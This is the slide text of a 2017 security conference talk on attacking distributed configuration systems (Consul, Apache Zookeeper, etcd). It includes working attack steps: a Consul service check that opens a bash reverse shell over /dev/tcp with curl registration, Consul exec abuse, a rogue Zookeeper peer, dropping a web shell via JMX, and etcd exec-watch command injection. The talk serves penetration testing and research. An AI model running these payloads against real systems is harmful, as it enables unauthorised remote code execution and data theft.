Как мы взломали распределенные системы конфигурационного управления
2 likes•603 views
The document discusses various aspects of Distributed Configuration Management Systems (DCMS) and vulnerabilities associated with them, primarily focusing on Apache Zookeeper, HashiCorp Consul, and etcd. It outlines different types of DCMS, explains how remote code execution vulnerabilities can be exploited, and provides examples of attacks and countermeasures. Additionally, it touches on the importance of proper authentication and security measures in these systems, emphasizing the potential risks in misconfigured or unprotected DCMS.
![Remote Code Execution - I
Final Payload
◦ consul exec -http-addr=remote_addr
[whoami/payload].
◦ If disable_remote_execution is enabled then we
are out of luck (which mostly never happens
though !!).](https://image.slidesharecdn.com/howwehackeddcms-170531082315/85/-19-320.jpg)
![Inherent [In]security
◦ No Authentication by default.
◦ Authentication sucks if not implemented properly.
◦ HTTP Endpoints available at your disposal.
◦ RCE through un-authenticated instances when
exposed with a feature.](https://image.slidesharecdn.com/howwehackeddcms-170531082315/85/-53-320.jpg)
Как мы взломали распределенные системы конфигурационного управления
- 1. How we hacked DCMs? Bharadwaj Machiraju (@tunnelshade_) Francis Alexander (@torque59)
- 2. #whoarewe ◦ FOSS & Python guys. ◦ Incase you use OWASP OWTF/NoSQL Exploitation Framework, buy us a beer. ◦ Appsec Engineers at Envestnet Yodlee (fintech). ◦ Mostly we will talk about some nice pwn stories.
- 3. DCM = Distributed Configuration Management
- 4. When dinosaurs were alive ... Application Server DatabaseUser
- 5. Present day scenario! API Gateway User Message Broker Microservice 1 Job Scheduler Microservice 2 Keystore Storage
- 6. General Necessity! ◦ Distributed nature of applications lead to the necessity of distributed configuration management for simplifying the process of ▫ Maintenance of infrastructure. ▫ Synchronization of processes. ▫ Service discovery.
- 7. General Our Necessity! ◦ Look cool in pentest reports!! ◦ As other application’s configurations are present here, it is a goldmine. ◦ And if you get to editing these configurations ...
- 9. 1. Ensemble Type ◦ Cluster of servers in sync. ◦ Queried by the applications for shared data. ◦ Apache Zookeeper & Etcd are popular examples. ◦ Sample Usage: Provide synchronization between processes.
- 10. 2. Agent Type ◦ A lightweight agent in every instance. ◦ Agents communicate using gossip protocol (a p2p protocol). ◦ Serf & Consul are popular examples. ◦ Sample Usage: Discover app instances and add them to load balancer. ◦ Our favorite type :D
- 11. HashiCorp
- 12. HashiCorp Consul ◦ Agent type. Built on top Serf. ◦ Provides service discovery. ◦ Uses a microservice interface to a replicated view of your topology and its configuration. ◦ Can monitor and change services topology based on health.
- 14. Consul Agent (Master & Slave) ◦ Has client and master modes. ◦ All nodes run an agent. ◦ Stays in sync, interface with REST and DHCP ◦ RAFT quorum, who is leader/master. ◦ Handles WAN gossip to other datacenters. ◦ Forwards queries to leader/master.
- 15. Security Overview ◦ No Authentication by default. ◦ Enumerate Services through HTTP API. ◦ SSRF feature/vulnerability. ◦ RCE through services and event firing.
- 16. Some Interesting API’s ◦ Agent HTTP Endpoint ▫ /v1/agent/checks : Returns the checks the local agent is managing ▫ /v1/agent/services : Returns the services the local agent is managing ◦ Coordinate HTTP Endpoint ▫ /v1/coordinate/datacenters : Queries for WAN coordinates of Consul servers.
- 17. SSRF With Join Endpoint ◦ Triggers the local agent to join a node. ◦ /v1/agent/join/<address> Final Payload http://localhost:8500/v1/agent/join/127.0.0.1:port.
- 18. Remote Code Execution - I ◦ Execute your code through events. ◦ Consul exec provides an interface to run these. How does it Work ◦ Create session: PUT /v1/session/create ◦ Create Rexec event: PUT /v1/kv/_rexec/job-uuid/job?acquire=job-uuid. ◦ Fire the event: PUT /v1/event/fire/_rexec
- 19. Remote Code Execution - I Final Payload ◦ consul exec -http-addr=remote_addr [whoami/payload]. ◦ If disable_remote_execution is enabled then we are out of luck (which mostly never happens though !!).
- 20. Demo
- 22. Remote Code Execution - II ◦ Execute your code by registering as services. ◦ We could then leverage checks to get our code executed. ◦ Services are synced and then executed. ◦ Once done with your work de-register and come out.
- 23. Remote Code Execution - II Registering a Service ◦ Sample Service:With Check { "ID": "http", "Name": "http", "Address": "0.0.0.0", "Port": 80, "check": { "script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1", "interval": "10s" }
- 24. Remote Code Execution - II Final Payload ◦ Use Curl ▫ curl -X PUT --data-binary @test.json http://localhost:8500/v1/agent/service/regi ster ◦ Check : dig @127.0.0.1 -p 8600 http.service.consul. ◦ Open netcat you should have your shell ready.
- 25. Remote Code Execution - II Final Thoughts. ◦ If not de-registered, the service should be running and you should have persistence. ◦ Deregistering is simple (/deregister/service-name)
- 26. Demo
- 28. Apache Zookeeper Because coordinating distributed applications is a zoo
- 29. Apache Zookeeper ◦ Ensemble type. ◦ Cluster of servers available to query. ◦ The name space provided is much like that of a standard file system. ◦ A name is a sequence of path elements separated by a slash (/). Every node is identified by a path.
- 30. It looks like (meh)
- 32. Quorum Peer ◦ One server in quorum is called quorum peer. ◦ Each one has three ports open ▫ Intercom. ports (Default: 2888 & 3888) ▫ Client port (Default: 2181)
- 33. Simple API ◦ create/delete/exists node ◦ get/set data node ◦ get children node ◦ sync ◦ watch node ◦ Libs available in all languages exposing this api.
- 34. Auth? ◦ Optional Auth ← People are Lazy (Proof: Shodan) ◦ Different kinds of auth are supported. ◦ No auth is fine, but if auth then we need a way. ◦ Next logical step was to dive into internals of zk. ◦ For that
- 35. Installed Eclipse & configured JAVA
- 36. Let us try Hey man, where is the auth?
- 37. Bits and Pieces! ◦ Custom binary protocol using Apache Jute. ◦ Only one vulnerability known till date CVE-2015-5017 (Buffer Overflow in ZK C cli shell) ◦ But then ...
- 38. Hey, please sync with this latest data snapshot! Hi, I am your follower.
- 39. Rogue Quorum Peer <= 3.4.9 ◦ Introduce a rogue follower to quorum leader gives you access to data along with the auth info for certain auth providers. ◦ So, whenever you want to modify existing data, just resubmit the auth info along with write request to the leader. KABOOOM!!
- 41. Demo
- 42. Why is Zookeeper important? ◦ Used in many awesome products mainly from Apache. ◦ Apache HBase non related distributed db. ◦ Uses zk for synchronization.
- 43. HBase
- 44. Briefly, ◦ Every HMaster creates an ephemeral node and backup masters just wait. ◦ If you can bypass auth and write/delete this ephemeral node, you can add a rogue master. ◦ Give it time :P or force crash the old master for all region servers to connect to your rogue. ◦ Extrapolation of CVE-2015-1836.
- 45. Briefly
- 46. JMX and Zookeeper are Buddies ◦ Zookeeper runs JMX by default but on loopback. ◦ Instances having remotely accessible JMX are fun. ◦ End Result: Chain set of Bugs to RCE.
- 47. How we did it luckily!! ◦ Memory can be accessed through JMX which can be written to a file. ◦ We used Zookeeper to pop a php/jsp shell by creating a node with our code as its value. ◦ Multiple reads of the node makes it available in the memory. ◦ Dump to an executable location within the web server. PWN !!!
- 49. CoreOS
- 50. Architecture
- 51. Etcd Basics ◦ Nodes get Connected to the Main Server (Cluster) ◦ Stores data persistently ◦ Takes snapshots. ◦ Like a directory tree. ◦ Uses a discovery URL.
- 52. Etcd API ◦ put key value ◦ get key ◦ del --from-key a ◦ snapshot save snapshot.db ◦ watch Either use CURL or get yourself etcdctl
- 53. Inherent [In]security ◦ No Authentication by default. ◦ Authentication sucks if not implemented properly. ◦ HTTP Endpoints available at your disposal. ◦ RCE through un-authenticated instances when exposed with a feature.
- 54. But it is 2017 right!! ◦ Users and roles implemented in Etcd>=2.1 ◦ Auth can be switched on by enabling root user. ◦ But ... ◦ Guest account gets enabled by default. ◦ guest users have read and write privileges.
- 56. Use Case - Chain to RCE ◦ Etcd allows usage of watchers. ◦ Watch a node and execute commands ◦ We came across $ETCD_WATCH_VALUE ◦ We saw some pretty dumb implementations. ◦ Etcd does not filter values coming to ETCD_WATCH_VALUE
- 57. etcdctl exec-watch --recursive /foo_dir/foo --sh -c '$ETCD_WATCH_VALUE'
- 58. Let the request talk. curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT -d value="ls" Pwn !!
- 59. Brainstorm!!! ◦ Requires write operation, to write to the key, and we should probably have luck with monitoring using exec-watch, which most people do !!. ◦ Etcd is being used in Kubernetes. You cannot be more Evil.
- 60. Demo
- 62. Etcd is nice ◦ Some of the attacks, only applicable if instance is not authenticated. ◦ You can add rogue members. ◦ Check for health. ◦ Get the connected members’ list.
- 63. Lots of DCMs Pwnage Automation !!
- 64. Garfield ◦ Wannabe distributed application stack scanner. ◦ Currently supports DCMs - Zk, Etcd and Consul. Written in <3 with Python.
- 67. Demos
- 68. References ◦ CoreOS Etcd (https://coreos.com/etcd) ◦ Apache Zookeeper (https://zookeeper.apache.org/) ◦ Hashicorp Consul (https://www.consul.io/) ◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html) Ongoing Work ◦ Not yet broken auth providers in zookeeper. ◦ Kubernetes access through etcd. ◦ Other distributed systems using zookeeper.
- 69. Shouts!! PhDays (y) Wonderful folks of #appsec@yodlee Kamaiah Nadavala Ajin Abraham
- 70. Thank You! Bharadwaj Machiraju @tunnelshade_ blog.tunnelshade.in Francis Alexander @torque59 nosqlproject.com github.com/torque59/garfield